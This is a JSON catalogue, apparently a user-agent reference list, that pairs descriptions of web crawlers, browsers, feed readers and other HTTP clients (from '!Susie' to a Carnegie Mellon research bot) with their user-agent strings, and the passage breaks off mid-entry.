    "content": "[{\"description\":\"Sync2It bookmark management & clustering engine\",\"ua\":\"!Susie (http:\\/\\/www.sync2it.com\\/susie)\"},{\"description\":\"UnCHAOS search robot\",\"ua\":\"<a href='http:\\/\\/www.unchaos.com\\/'> UnChaos <\\/a> From Chaos To Order Hybrid Web Search Engine.(vadim_gonchar@unchaos.com)\"},{\"description\":\"UnCHAOS search robot\",\"ua\":\"<a href='http:\\/\\/www.unchaos.com\\/'> UnChaos Bot Hybrid Web Search Engine. <\\/a> (vadim_gonchar@unchaos.com)\"},{\"description\":\"UnCHAOS search robot\",\"ua\":\"<b> UnChaosBot From Chaos To Order UnChaos Hybrid Web Search Engine at www.unchaos.com <\\/b> (info@unchaos.com)\"},{\"description\":\"Sygol Search (Italy) robot\",\"ua\":\"<http:\\/\\/www.sygol.com\\/> http:\\/\\/www.sygol.com\"},{\"description\":\"SearchEngineWorld's robots.txt validator\",\"ua\":\"( Robots.txt Validator http:\\/\\/www.searchengineworld.com\\/cgi-bin\\/robotcheck.cgi )\"},{\"description\":\"DreamCast DreamPassport browser\",\"ua\":\"(DreamPassport\\/3.0; isao\\/MyDiGiRabi)\"},{\"description\":\"Privoxy web proxy\",\"ua\":\"(Privoxy\\/1.0)\"},{\"description\":\"Unknown Yahoo robot\",\"ua\":\"*\\/Nutch-0.9-dev\"},{\"description\":\"SitiDi.net search (Germany) robot\",\"ua\":\"+SitiDi.net\\/SitiDiBot\\/1.0 (+Have Good Day)\"},{\"description\":\"Die Kraehe Meta-Search-Engine (Germany) link checking\",\"ua\":\"-DIE-KRAEHE- META-SEARCH-ENGINE\\/1.1 http:\\/\\/www.die-kraehe.de\"},{\"description\":\"123spider.de (Germany) web directory link checking\",\"ua\":\"123spider-Bot (Version: 1.02, powered by www.123spider.de\"},{\"description\":\"192.com - UK web directory\",\"ua\":\"192.comAgent\"},{\"description\":\"1st ZipCommander Net - IE based browser\",\"ua\":\"1st ZipCommander (Net) - http:\\/\\/www.zipcommander.com\\/\"},{\"description\":\"2Bone online link checker\",\"ua\":\"2Bone_LinkChecker\\/1.0 libwww-perl\\/5.64\"},{\"description\":\"4Anything robot\",\"ua\":\"4anything.com LinkChecker v2.0\"},{\"description\":\"Unknown guestbook spamming or harvesting tool from diff. IPs\",\"ua\":\"8484 Boston Project v 1.0\"},{\"description\":\"neofonie search robot Germany\",\"ua\":\":robot\\/1.0 (linux) ( admin e-mail: undefined http:\\/\\/www.neofonie.de\\/loesungen\\/search\\/robot.html )\"},{\"description\":\"A-Online.at robot - now Jet2Web Search\",\"ua\":\"A-Online Search\"},{\"description\":\"A1 Keyword Research - search engine and keyword optimization software\",\"ua\":\"A1 Keyword Research\\/1.0.2 (+http:\\/\\/www.micro-sys.dk\\/products\\/keyword-research\\/) miggibot\\/2007.03.27\"},{\"description\":\"MiggiBot website crawler engine - A1 Sitemap Generator\",\"ua\":\"A1 Sitemap Generator\\/1.0 (+http:\\/\\/www.micro-sys.dk\\/products\\/sitemap-generator\\/) miggibot\\/2006.01.24\"},{\"description\":\"Aardvark web crawler for Sun's Blog recommendations\",\"ua\":\"aardvark-crawler\"},{\"description\":\"Abacho \\/ Crawler.de robot\",\"ua\":\"AbachoBOT\"},{\"description\":\"Abacho \\/ Crawler.de robot\",\"ua\":\"AbachoBOT (Mozilla compatible)\"},{\"description\":\"ABCdatos - Castilian program & tutorial directory\",\"ua\":\"ABCdatos BotLink\\/5.xx.xxx#BBL\"},{\"description\":\"Aberja Hybridsuchmaschine (Germany) link checking\",\"ua\":\"Aberja Checkomat\"},{\"description\":\"Nameprotect copyright search robot (24.177.134.x)\",\"ua\":\"abot\\/0.1 (abot; http:\\/\\/www.abot.com; abot@abot.com)\"},{\"description\":\"About robot\",\"ua\":\"About\\/0.1libwww-perl\\/5.47\"},{\"description\":\"Accela Technology RSS feed crawler\",\"ua\":\"Accelatech RSSCrawler\\/0.4\"},{\"description\":\"Accoona Search robot\",\"ua\":\"accoona\"},{\"description\":\"Accoona Search robot\",\"ua\":\"Accoona-AI-Agent\\/1.1.1 (crawler at accoona dot com)\"},{\"description\":\"Accoona Search robot\",\"ua\":\"Accoona-AI-Agent\\/1.1.2 (aicrawler at accoonabot dot com)\"},{\"description\":\"Ace Explorer - IE based browser\",\"ua\":\"Ace Explorer\"},{\"description\":\"Ackerm search robot\",\"ua\":\"Ack (http:\\/\\/www.ackerm.com\\/)\"},{\"description\":\"Acoi picture finder robot\",\"ua\":\"AcoiRobot\"},{\"description\":\"Acoon.de search (Germany) robot\",\"ua\":\"Acoon Robot v1.50.001\"},{\"description\":\"Acoon.de search (Germany) robot\",\"ua\":\"Acoon Robot v1.52 (http:\\/\\/www.acoon.de)\"},{\"description\":\"Acoon.de search (Germany) robot\",\"ua\":\"Acoon-Robot 4.0.x.[xx] (http:\\/\\/www.acoon.de)\"},{\"description\":\"Acoon.de search (Germany) robot\",\"ua\":\"Acoon-Robot v3.xx (http:\\/\\/www.acoon.de and http:\\/\\/www.acoon.com)\"},{\"description\":\"Acorn Search Project\",\"ua\":\"Acorn\\/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org)\"},{\"description\":\"LibMaster.com Active Bookmark HTML page creator\",\"ua\":\"ActiveBookmark 1.x\"},{\"description\":\"Activeworlds 3D homepage browser\",\"ua\":\"Activeworlds\"},{\"description\":\"Activeworlds 3D homepage browser\",\"ua\":\"ActiveWorlds\\/3.xx (xxx)\"},{\"description\":\"Ad Muncher - banner killer\",\"ua\":\"Ad Muncher v4.xx.x\"},{\"description\":\"Ad Muncher - banner killer\",\"ua\":\"Ad Muncher v4x Build xxxxx\"},{\"description\":\"website directory adaxas link checking\",\"ua\":\"Adaxas Spider (http:\\/\\/www.adaxas.net\\/)\"},{\"description\":\"Avant Browser - IE based browser\",\"ua\":\"Advanced Browser (http:\\/\\/www.avantbrowser.com)\"},{\"description\":\"Aesop robot\",\"ua\":\"AESOP_com_SpiderMan\"},{\"description\":\"Agada search (Germany) robot\",\"ua\":\"agadine\\/1.x.x (+http:\\/\\/www.agada.de)\"},{\"description\":\"SharewarePlaza link checking\",\"ua\":\"Agent-SharewarePlazaFileCheckBot\\/2.0+(+http:\\/\\/www.SharewarePlaza.com)\"},{\"description\":\"Linkomatic submission verifier\",\"ua\":\"AgentName\\/0.1 libwww-perl\\/5.48\"},{\"description\":\"21seek.com (China) robot (218.17.90.xxx)\",\"ua\":\"AIBOT\\/2.1 By +(www.21seek.com A Real artificial intelligence search engine China)\"},{\"description\":\"AideRss - Postrank RSS and Blog filtering\",\"ua\":\"AideRSS\\/1.0 (aiderss.com)\"},{\"description\":\"Nameprotect copyright search robot (24.177.134.x)\",\"ua\":\"aipbot\\/1.0 (aipbot; http:\\/\\/www.aipbot.com; aipbot@aipbot.com)\"},{\"description\":\"Nameprotect copyright search robot (24.177.134.x)\",\"ua\":\"aipbot\\/2-beta (aipbot dev; http:\\/\\/aipbot.com; aipbot@aipbot.com)\"},{\"description\":\"Akregator news feed reader for KDE\",\"ua\":\"Akregator\\/1.2.9; librss\\/remnants\"},{\"description\":\"Aladin robot\",\"ua\":\"Aladin\\/3.324\"},{\"description\":\"Phone.com UP.Browser for mobiles on Alcatel cellphone\",\"ua\":\"Alcatel-BG3\\/1.0 UP.Browser\\/5.0.3.1.2\"},{\"description\":\"Aleksika Danmark - Search engine optimization spider\",\"ua\":\"Aleksika Spider\\/1.0 (+http:\\/\\/www.aleksika.com\\/)\"},{\"description\":\"Alertinfo - French version of Feedreader 3.xx \",\"ua\":\"AlertInfo 2.0 (Powered by Newsbrain)\"},{\"description\":\"Vestris robot\",\"ua\":\"AlkalineBOT\\/1.3\"},{\"description\":\"Vestris robot\",\"ua\":\"AlkalineBOT\\/1.4 (1.4.0326.0 RTM)\"},{\"description\":\"Allesklar.de robot\",\"ua\":\"Allesklar\\/0.1 libwww-perl\\/5.46\"},{\"description\":\"Alligator download manager\",\"ua\":\"Alligator 1.31 (www.nearsoftware.com)\"},{\"description\":\"Unknown robot from Allrati.com\",\"ua\":\"Allrati\\/1.1 (+)\"},{\"description\":\"Altavista robot\",\"ua\":\"AltaVista Intranet V2.0 AVS EVAL search@freeit.com\"},{\"description\":\"Altavista robot\",\"ua\":\"AltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net\"},{\"description\":\"Altavista robot\",\"ua\":\"AltaVista Intranet V2.0 evreka.com crawler@evreka.com\"},{\"description\":\"Altavista robot\",\"ua\":\"AltaVista V2.0B crawler@evreka.com\"},{\"description\":\"Amaya - W3C's Editor\\/Browser\",\"ua\":\"amaya\\/x.xx libwww\\/x.x.x\"},{\"description\":\"Amfibi Search robot\",\"ua\":\"AmfibiBOT\"},{\"description\":\"Amfibi Search robot\",\"ua\":\"Amfibibot\\/0.06 (Amfibi Web Search; http:\\/\\/www.amfibi.com; agent@amfibi.com)\"},{\"description\":\"Amfibi Search robot\",\"ua\":\"Amfibibot\\/0.07 (Amfibi Robot; http:\\/\\/www.amfibi.com; agent@amfibi.com)\"},{\"description\":\"amibot - Amidalla search engine robot (62.241.33.xx)\",\"ua\":\"amibot\"},{\"description\":\"AWeb Amiga browser\",\"ua\":\"Amiga-AWeb\\/3.4.167SE\"},{\"description\":\"Voyager - Amiga browser\",\"ua\":\"AmigaVoyager\\/3.4.4 (MorphOS\\/PPC native)\"},{\"description\":\"Amiga Miami TCP Stack\",\"ua\":\"AmiTCP Miami (AmigaOS 2.04)\"},{\"description\":\"NF embedded browser on Amois Skypephone\",\"ua\":\"Amoi 8512\\/R21.0 NF-Browser\\/3.3\"},{\"description\":\"Amazon.com robot for checking their affiliate sites\",\"ua\":\"amzn_assoc\"},{\"description\":\"Annomille Italian historical oriented robot\",\"ua\":\"AnnoMille spider 0.1 alpha - http:\\/\\/www.annomille.it\"},{\"description\":\"annotate Google - Firefox extension for annotating Google search results\",\"ua\":\"annotate_google; http:\\/\\/ponderer.org\\/download\\/annotate_google.user.js\"},{\"description\":\"Megaproxy user\",\"ua\":\"Anonymized by ProxyOS: http:\\/\\/www.megaproxy.com\"},{\"description\":\"faked user agent\",\"ua\":\"Anonymizer\\/1.1\"},{\"description\":\"AnswerBus natural language search using COLLATE technology\",\"ua\":\"AnswerBus (http:\\/\\/www.answerbus.com\\/)\"},{\"description\":\"AnswerChase search tool\",\"ua\":\"AnswerChase PROve x.0\"},{\"description\":\"AnswerChase search tool\",\"ua\":\"AnswerChase x.0\"},{\"description\":\"ANT Fresco Browser\",\"ua\":\"ANTFresco\\/x.xx\"},{\"description\":\"Antibot (discontinued) robot\",\"ua\":\"antibot-V1.1.5\\/i586-linux-2.2\"},{\"description\":\"Anzwers (Yahoo) Australia robot\",\"ua\":\"AnzwersCrawl\\/2.0 (anzwerscrawl@anzwers.com.au;Engine)\"},{\"description\":\"Apexoo Search spider\",\"ua\":\"Apexoo Spider 1.x\"},{\"description\":\"JavaOS app. for SEGA Saturn Internet and Sanyo Internet-TV\",\"ua\":\"Aplix HTTP\\/1.0.1\"},{\"description\":\"JavaOS app. for Sanyo Internet-TV\",\"ua\":\"Aplix_SANYO_browser\\/1.x (Japanese)\"},{\"description\":\"JavaOS app. for SEGA Saturn Internet\",\"ua\":\"Aplix_SEGASATURN_browser\\/1.x (Japanese)\"},{\"description\":\"Aport robot\",\"ua\":\"Aport\"},{\"description\":\"Walhello Internet Search robot\",\"ua\":\"appie 1.1 (www.walhello.com)\"},{\"description\":\"CoreMedia player on Apple iPhone\",\"ua\":\"Apple iPhone v1.1.4 CoreMedia v1.0.0.4A102\"},{\"description\":\"PubSub - Mac OS X utility for managing RSS\\/Atom subscriptions via the PubSub framework\",\"ua\":\"Apple-PubSub\\/65.1.1\"},{\"description\":\"Araby search - Arabia\",\"ua\":\"ArabyBot (compatible; Mozilla\\/5.0; GoogleBot; FAST Crawler 6.4; http:\\/\\/www.araby.com;)\"},{\"description\":\"Covac Arachnid Web Crawler\",\"ua\":\"ArachBot\"},{\"description\":\"Euroseek spider\",\"ua\":\"Arachnoidea (arachnoidea@euroseek.com)\"},{\"description\":\"Amazon.com robot for checking their affiliate sites\",\"ua\":\"aranhabot\"},{\"description\":\"Excite spider\",\"ua\":\"ArchitextSpider\"},{\"description\":\"Heritrix - The Internet Archive's open-source crawler (207.241.225.2xx)\",\"ua\":\"archive.org_bot\"},{\"description\":\"Simpy Bookmarklet crawler (69.55.233.xx)\",\"ua\":\"Argus\\/1.1 (Nutch; http:\\/\\/www.simpy.com\\/bot.html; feedback at simpy dot com)\"},{\"description\":\"Arikus inContext search engine software\",\"ua\":\"Arikus_Spider\"},{\"description\":\"Tomba project: the Portuguese web archive\",\"ua\":\"Arquivo-web-crawler  (compatible; heritrix\\/1.12.1 +http:\\/\\/arquivo-web.fccn.pt)\"},{\"description\":\"Asaha search robot (Turkey)\",\"ua\":\"ASAHA Search Engine Turkey V.001 (http:\\/\\/www.asaha.com\\/)\"},{\"description\":\"ASAHINA Antenna information detecting agent\",\"ua\":\"Asahina-Antenna\\/1.x\"},{\"description\":\"ASAHINA Antenna information detecting agent\",\"ua\":\"Asahina-Antenna\\/1.x (libhina.pl\\/x.x ; libtime.pl\\/x.x)\"},{\"description\":\"Ask 24x Info robot\",\"ua\":\"ask.24x.info\"},{\"description\":\"Ask About Oil - Petroleum related search (24.227.212.xxx) using Nutch\",\"ua\":\"AskAboutOil\\/0.06-rcp (Nutch; http:\\/\\/www.nutch.org\\/docs\\/en\\/bot.html; nutch-agent@askaboutoil.com)\"},{\"description\":\"askEd! \\/ Inferret search (Japan) robot using Nutch\",\"ua\":\"asked\\/Nutch-0.8 (web crawler; http:\\/\\/asked.jp; epicurus at gmail dot com)\"},{\"description\":\"ASPSeek search engine software -Yahoo-Inc. \\/ Telecom Canada robot \",\"ua\":\"ASPSeek\\/1.2.5\"},{\"description\":\"Swsoft.net robot using Aspseek\",\"ua\":\"ASPseek\\/1.2.9d\"},{\"description\":\"ASPSeek search engine software\",\"ua\":\"ASPSeek\\/1.2.x\"},{\"description\":\"ASPSeek search engine software\",\"ua\":\"ASPSeek\\/1.2.xa\"},{\"description\":\"ASPSeek search engine software\",\"ua\":\"ASPseek\\/1.2.xx\"},{\"description\":\"ASPSeek search engine software\",\"ua\":\"ASPSeek\\/1.2.xxpre\"},{\"description\":\"Associative Sort robot\",\"ua\":\"ASSORT\\/0.10\"},{\"description\":\"Singingfish media spider (64.12.186.2xx) via AOL search\",\"ua\":\"asterias\\/2.0\"},{\"description\":\"Atlocal local business search robot\",\"ua\":\"AtlocalBot\\/1.1 +(http:\\/\\/www.atlocal.com\\/local-web-site-owner.html)\"},{\"description\":\"Atomic Email Hunter email extracing and harvesting\",\"ua\":\"Atomic_Email_Hunter\\/4.0\"},{\"description\":\"Atomz robot\",\"ua\":\"Atomz\\/1.0\"},{\"description\":\"atSpider (ceased) email harvester \\/ spambot\",\"ua\":\"atSpider\\/1.0\"},{\"description\":\"Attentio social media monitoring and analysing \",\"ua\":\"Attentio\\/Nutch-0.9-dev (Attentio's beta blog crawler; www.attentio.com; info@attentio.com)\"},{\"description\":\"Samsung SPH-A660 phone with Sprint software\",\"ua\":\"AU-MIC\\/2.0 MMP\\/2.0\"},{\"description\":\"Audiovox SMT5600 (AT&T) Smartphone mobile phone browser\",\"ua\":\"AUDIOVOX-SMT5600\"},{\"description\":\"Augurnet Swiss (was www.augurnet.ch) search robot\",\"ua\":\"augurfind\"},{\"description\":\"Augurnet Swiss (was www.augurnet.ch) search robot\",\"ua\":\"augurnfind V-1.x\"},{\"description\":\"Auto Email Pro Email harvester\",\"ua\":\"autoemailspider\"},{\"description\":\"Linkscan tool from Elsop\",\"ua\":\"autohttp\"},{\"description\":\"Autowebdir - The Automatically Generated Web Directory\",\"ua\":\"autowebdir 1.1 (www.autowebdir.com)\"},{\"description\":\"Altavista robot ??\",\"ua\":\"AV Fetch 1.0\"},{\"description\":\"Avant Browser - IE based browser\",\"ua\":\"Avant Browser (http:\\/\\/www.avantbrowser.com)\"},{\"description\":\"National Research Council Canada robot\",\"ua\":\"AVSearch-1.0(peter.turney@nrc.ca)\"},{\"description\":\"Unknown robot from 205.203.108.xx (telerate.com)\",\"ua\":\"AVSearch-2.0-fusionIdx-14-CompetitorWebSites\"},{\"description\":\"Altavista robot\",\"ua\":\"AVSearch-3.0(AltaVista\\/AVC)\"},{\"description\":\"AWeb Amiga browser\",\"ua\":\"AWeb\"},{\"description\":\"Axada search Germany robot\",\"ua\":\"axadine\\/ (Axadine Crawler; http:\\/\\/www.axada.de\\/; )\"},{\"description\":\"Axmo search robot\",\"ua\":\"AxmoRobot - Crawling your site for better indexing on www.axmo.com search engine.\"},{\"description\":\"Azureus Java BitTorrent Client\",\"ua\":\"Azureus 2.x.x.x\"},{\"description\":\"Babaloo search robot (Slovenia)\",\"ua\":\"BabalooSpider\\/1.3 (BabalooSpider; http:\\/\\/www.babaloo.si; spider@babaloo.si)\"},{\"description\":\"BaBoom Web Portal (ODP) robot (66.98.254.xx)\",\"ua\":\"BaboomBot\\/1.x.x (+http:\\/\\/www.baboom.us)\"},{\"description\":\"BackStreet Browser - Offline browser \\/ website downloader\",\"ua\":\"BackStreet Browser 3.x\"},{\"description\":\"Baidu search (Japan) image crawler\",\"ua\":\"BaiduImagespider+(+http:\\/\\/www.baidu.jp\\/search\\/s308.html)\"},{\"description\":\"Baidu spidering engine - used by diff. IPs\",\"ua\":\"BaiDuSpider\"},{\"description\":\"Baidu spidering engine - used by diff. IPs\",\"ua\":\"Baiduspider+(+http:\\/\\/help.baidu.jp\\/system\\/05.html)\"},{\"description\":\"Baidu spidering engine - used by diff. IPs\",\"ua\":\"Baiduspider+(+http:\\/\\/www.baidu.com\\/search\\/spider.htm)\"},{\"description\":\"Baidu search (Japan) crawler\",\"ua\":\"Baiduspider+(+http:\\/\\/www.baidu.com\\/search\\/spider_jp.html)\"},{\"description\":\"Balihoo - Vertical search engine crawler (beta)\",\"ua\":\"Balihoo\\/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http:\\/\\/balihoo.com\\/index.aspx; robot at balihoo dot com)\"},{\"description\":\"Project BanBots Perl script robot\",\"ua\":\"BanBots\\/1.2 (spider@banbots.com)\"},{\"description\":\"Barca Pro email & PIM software\",\"ua\":\"Barca\\/2.0.xxxx\"},{\"description\":\"Barca Pro email & PIM software\",\"ua\":\"BarcaPro\\/1.4.xxxx\"},{\"description\":\"Barrahome crawler\",\"ua\":\"BarraHomeCrawler (albertof@barrahome.org)\"},{\"description\":\"Unknown user agent from Microsoft\",\"ua\":\"bCentral Billing Post-Process\"},{\"description\":\"Business.com robot\",\"ua\":\"bdcindexer_2.6.2 (research@bdc)\"},{\"description\":\"Brandimensions Brand Protection robot\",\"ua\":\"BDFetch\"},{\"description\":\"Bdncentral Sitesearch robot\",\"ua\":\"BDNcentral Crawler v2.3 [en] (http:\\/\\/www.bdncentral.com\\/robot.html) (X11; I; Linux 2.0.44 i686)\"},{\"description\":\"beammachine web directory (Germany) link checking\",\"ua\":\"BeamMachine\\/0.5 (dead link remover of www.beammachine.net)\"},{\"description\":\"Beauty robot for Cosmoty - German beauty and wellness search\",\"ua\":\"beautybot\\/1.0 (+http:\\/\\/www.uchoose.de\\/crawler\\/beautybot\\/)\"},{\"description\":\"A Passion for Jazz music related search robot\",\"ua\":\"BebopBot\\/2.5.1 ( crawler http:\\/\\/www.apassion4jazz.net\\/bebopbot.html )\"},{\"description\":\"LinkcheckerBeepware (site is down) web directory link checking\",\"ua\":\"BeebwareDirectory\\/v0.01\"},{\"description\":\"Big Brother link checking tool\",\"ua\":\"Big Brother (http:\\/\\/pauillac.inria.fr\\/~fpottier\\/)\"},{\"description\":\"GoonGee.com link popularity checking\",\"ua\":\"Big Fish v1.0\"},{\"description\":\"BB4 network monitoring\",\"ua\":\"BigBrother\\/1.6e\"},{\"description\":\"BigClique Search robot\",\"ua\":\"BigCliqueBOT\\/1.03-dev (bigclicbot; http:\\/\\/www.bigclique.com; bot@bigclique.com)\"},{\"description\":\"Biglotron search (France) robot\",\"ua\":\"BIGLOTRON (Beta 2;GNU\\/Linux)\"},{\"description\":\"Bigsearch.ca search robot\",\"ua\":\"Bigsearch.ca\\/Nutch-x.x-dev (Bigsearch.ca Internet Spider; http:\\/\\/www.bigsearch.ca\\/; info@enhancededge.com)\"},{\"description\":\"Bilbo - web frontend for the Nessus Security Scanner\",\"ua\":\"Bilbo\\/2.3b-UNIX\"},{\"description\":\"Bilgi.com (Beta) search robot - Turkey\",\"ua\":\"BilgiBetaBot\\/0.8-dev (bilgi.com (Beta) ; http:\\/\\/lucene.apache.org\\/nutch\\/bot.html; nutch-agent@lucene.apache.org)\"},{\"description\":\"Bilgi.com (Beta) search robot - Turkey\",\"ua\":\"BilgiBot\\/1.0(beta) (http:\\/\\/www.bilgi.com\\/; bilgi at bilgi dot com)\"},{\"description\":\"Carnegie Mellon School robot\\/link checking ?\",\"ua\":\"billbot wjj@cs.cmu.edu\"},{\"description\":\"Bitacle Blog Search Archive robot\",\"ua\":\"Bitacle bot\\/1.1\"},{\"description\":\"Bitacle Blog Search Archive robot\",\"ua\":\"Bitacle Robot (V:1.0;) (http:\\/\\/www.bitacle.com)\"},{\"description\":\"Biyubi Navigator - Mexican browser for Fenix OS\",\"ua\":\"Biyubi\\/x.x (Sistema Fenix; G11; Familia Toledo; es-mx)\"},{\"description\":\"Blackberry Wireless Internet browser via Google WAP Proxy\",\"ua\":\"BlackBerry7520\\/4.0.0 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 UP.Browser\\/5.0.3.3 UP.Link\\/5.1.2.12 (Google WAP Proxy\\/1.0)\"},{\"description\":\"FS Consulting (was www.fsconsult.net) Black Widow web crawler\",\"ua\":\"BlackWidow\"},{\"description\":\"BlackWidow web site scanner \\/ downloading tool\",\"ua\":\"BlackWidow\"},{\"description\":\"Blaiz Enterprises RawGrunt search\",\"ua\":\"Blaiz-Bee\\/1.0 (+http:\\/\\/www.blaiz.net)\"},{\"description\":\"Blaiz Enterprises RawGrunt search\",\"ua\":\"Blaiz-Bee\\/2.00.8222 (BE Internet Search Engine http:\\/\\/www.rawgrunt.com)\"},{\"description\":\"Blaiz Enterprises RawGrunt search\",\"ua\":\"Blaiz-Bee\\/2.00.xxxx (+http:\\/\\/www.blaiz.net)\"},{\"description\":\"Blitzsuche Germany robot\",\"ua\":\"BlitzBOT@tricus.net\"},{\"description\":\"Blitzsuche Germany robot\",\"ua\":\"BlitzBOT@tricus.net (Mozilla compatible)\"},{\"description\":\"BlockNote web page editor\",\"ua\":\"BlockNote.Net\"},{\"description\":\"blogdex robot from MIT.edu\",\"ua\":\"BlogBot\\/1.x\"},{\"description\":\"BlogBridge RSS reader\",\"ua\":\"BlogBridge 2.13 (http:\\/\\/www.blogbridge.com\\/)\"},{\"description\":\"Bloglines article search\",\"ua\":\"Bloglines Title Fetch\\/1.0 (http:\\/\\/www.bloglines.com)\"},{\"description\":\"Bloglines graphics crawler\",\"ua\":\"Bloglines-Images\\/0.1 (http:\\/\\/www.bloglines.com)\"},{\"description\":\"Bloglines news crawler\",\"ua\":\"Bloglines\\/3.1 (http:\\/\\/www.bloglines.com)\"},{\"description\":\"FeedMap \\/ BlogMap geo coding service\",\"ua\":\"BlogMap (http:\\/\\/www.feedmap.net)\"},{\"description\":\"Intelliseek's BlogPulse blog search\",\"ua\":\"Blogpulse (info@blogpulse.com)\"},{\"description\":\"Intelliseek's BlogPulse blog search\",\"ua\":\"BlogPulseLive (support@blogpulse.com)\"},{\"description\":\"IceRocket Web search robot\",\"ua\":\"BlogSearch\\/1.x +http:\\/\\/www.icerocket.com\\/\"},{\"description\":\"Art of Computing blog search project\",\"ua\":\"blogsearchbot-pumpkin-3\"},{\"description\":\"BlogsNow realtime link tracker robot\",\"ua\":\"BlogsNowBot, V 2.01 (+http:\\/\\/www.blogsnow.com\\/)\"},{\"description\":\"BlogVipe news and Blog crawler (Netherlands)\",\"ua\":\"BlogVibeBot-v1.1 (spider@blogvibe.nl)\"},{\"description\":\"blogWatcher robot from Okumura Group Tokyo (131.112.182.xxx)\",\"ua\":\"blogWatcher_Spider\\/0.1 (http:\\/\\/www.lr.pi.titech.ac.jp\\/blogWatcher\\/)\"},{\"description\":\"IceRocket Web search robot\",\"ua\":\"BlogzIce\\/1.0 (+http:\\/\\/icerocket.com; rhodes@icerocket.com)\"},{\"description\":\"IceRocket Web search robot\",\"ua\":\"BlogzIce\\/1.0 +http:\\/\\/www.icerocket.com\\/\"},{\"description\":\"Blooby search (beta) robot\",\"ua\":\"BloobyBot\"},{\"description\":\"Balihoo - Search Engine for Advertising Media\",\"ua\":\"Bloodhound\\/Nutch-0.9 (Testing Crawler for Research - obeys robots.txt and robots meta tags ; http:\\/\\/balihoo.com\\/index.aspx; robot at balihoo dot com)\"},{\"description\":\"Bluefish HTML-editor for Linux\",\"ua\":\"bluefish 0.6 HTML editor\"},{\"description\":\"Part of ButtMan remote access tool\",\"ua\":\"BMCLIENT\"},{\"description\":\"Bookmark Express bookmark manager\",\"ua\":\"BMLAUNCHER\"},{\"description\":\"Bobby web accessibility desktop testing tool\",\"ua\":\"Bobby\\/4.0.x RPT-HTTPClient\\/0.3-3E\"},{\"description\":\"Boitho search (Norway) robot via 80.202.212.xx \\/ 80.80.111.xx\",\"ua\":\"boitho.com-dc\\/0.xx (http:\\/\\/www.boitho.com\\/dcbot.html)\"},{\"description\":\"Boitho search (Norway) robot via 80.202.212.xx \\/ 80.80.111.xx\",\"ua\":\"boitho.com-robot\\/1.x\"},{\"description\":\"Boitho search (Norway) robot via 80.202.212.xx \\/ 80.80.111.xx\",\"ua\":\"boitho.com-robot\\/1.x (http:\\/\\/www.boitho.com\\/bot.html)\"},{\"description\":\"Bookdog - Mac bookmark manager\",\"ua\":\"Bookdog\\/x.x\"},{\"description\":\"Bookmark Buddy - favorite bookmark manager \",\"ua\":\"Bookmark Buddy bookmark checker (http:\\/\\/www.bookmarkbuddy.net\\/)\"},{\"description\":\"Favourites managing program\",\"ua\":\"Bookmark Renewal Check Agent [http:\\/\\/www.bookmark.ne.jp\\/]\"},{\"description\":\"Favourites managing program\",\"ua\":\"Bookmark Renewal Check Agent [http:\\/\\/www.bookmark.ne.jp\\/] (Version 2.0beta)\"},{\"description\":\"Bookmark Base bookmark manager\",\"ua\":\"BookmarkBase(2\\/;http:\\/\\/bookmarkbase.com)\"},{\"description\":\"cybercity.fr user robot \\/ faked user agent ?\",\"ua\":\"Bot mailto:craftbot@yahoo.com\"},{\"description\":\"BD-Brandprotect copyright infringement crawler\",\"ua\":\"BPImageWalker\\/2.0 (www.bdbrandprotect.com)\"},{\"description\":\"BravoBrian bSTOP parental control\",\"ua\":\"BravoBrian bstop.bravobrian.it\"},{\"description\":\"Robot for BravoBrian bSTOP\",\"ua\":\"BravoBrian SpiderEngine MarcoPolo\"},{\"description\":\"BrightCloud web filtering for classifying websites\",\"ua\":\"BrightCrawler (http:\\/\\/www.brightcloud.com\\/brightcrawler.asp)\"},{\"description\":\"Webarchive Project Bruinbot crawler\",\"ua\":\"BruinBot (+http:\\/\\/webarchive.cs.ucla.edu\\/bruinbot.html) \"},{\"description\":\"Inktomi (Hotbot-Lycos NBCi) robot\",\"ua\":\"BSDSeek\\/1.0\"},{\"description\":\"BravoBrian bSTOP parental control\",\"ua\":\"BStop.BravoBrian.it Agent Detector\"},{\"description\":\"BitTorrent Search Engine btbot robot\",\"ua\":\"BTbot\\/0.x (+http:\\/\\/www.btbot.com\\/btbot.html)\"},{\"description\":\"\\u00b5Torrent BitTorrent Client\",\"ua\":\"BTWebClient\\/180B(9704)\"},{\"description\":\"BuildCMS crawler - market monitoring project of BuildCMS\",\"ua\":\"BuildCMS crawler (http:\\/\\/www.buildcms.com\\/crawler)\"},{\"description\":\"Bulkfeeds: RSS directory link checking\",\"ua\":\"Bulkfeeds\\/r1752 (http:\\/\\/bulkfeeds.net\\/)\"},{\"description\":\"BullsEye\\/Intelliseek robot\",\"ua\":\"BullsEye\"},{\"description\":\"Relevare Portal software robot\",\"ua\":\"bumblebee@relevare.com\"},{\"description\":\"Microsoft server information robot (see link)\",\"ua\":\"BunnySlippers\"},{\"description\":\"BurstFind search crawler (64.34.172.xx)\",\"ua\":\"BurstFindCrawler\\/1.1 (crawler.burstfind.com; http:\\/\\/crawler.burstfind.com; crawler@burstfind.com)\"},{\"description\":\"Buscaplus (Spain) robot\",\"ua\":\"Buscaplus Robi\\/1.0 (http:\\/\\/www.buscaplus.com\\/robi\\/)\"},{\"description\":\"Logitech Desktop Managers (LDM) Backweb (BW) update check\",\"ua\":\"BW-C-2.0\"},{\"description\":\"Basic Web Hacking 3 fake user-agent from Hellbound Hackers challenges\",\"ua\":\"bwh3_user_agent\"},{\"description\":\"Amfibi Search robot\",\"ua\":\"Cabot\\/Nutch-0.9 (Amfibi's web-crawling robot; http:\\/\\/www.amfibi.com\\/cabot\\/; agent@amfibi.com)\"},{\"description\":\"Amfibi Search robot\",\"ua\":\"Cabot\\/Nutch-1.0-dev (Amfibi's web-crawling robot; http:\\/\\/www.amfibi.com\\/cabot\\/; agent@amfibi.com)\"},{\"description\":\"Evolution integrated mail solution Camel TCP stream class\",\"ua\":\"CamelHttpStream\\/1.0\"},{\"description\":\"Some user agent\",\"ua\":\"Cancer Information and Support International;\"},{\"description\":\"Cosmix project crawler (204.14.48.x \\/ 38.113.234.xxx)\",\"ua\":\"carleson\\/1.0\"},{\"description\":\"Carnegie Mellon University WebBOT\",\"ua\":\"Carnegie_Mellon_University_Research_WebBOT-->PLEASE READ-->http:\\/\\/www.andrew.cmu.edu\\/~brgordon\\/webbot\\/index.html 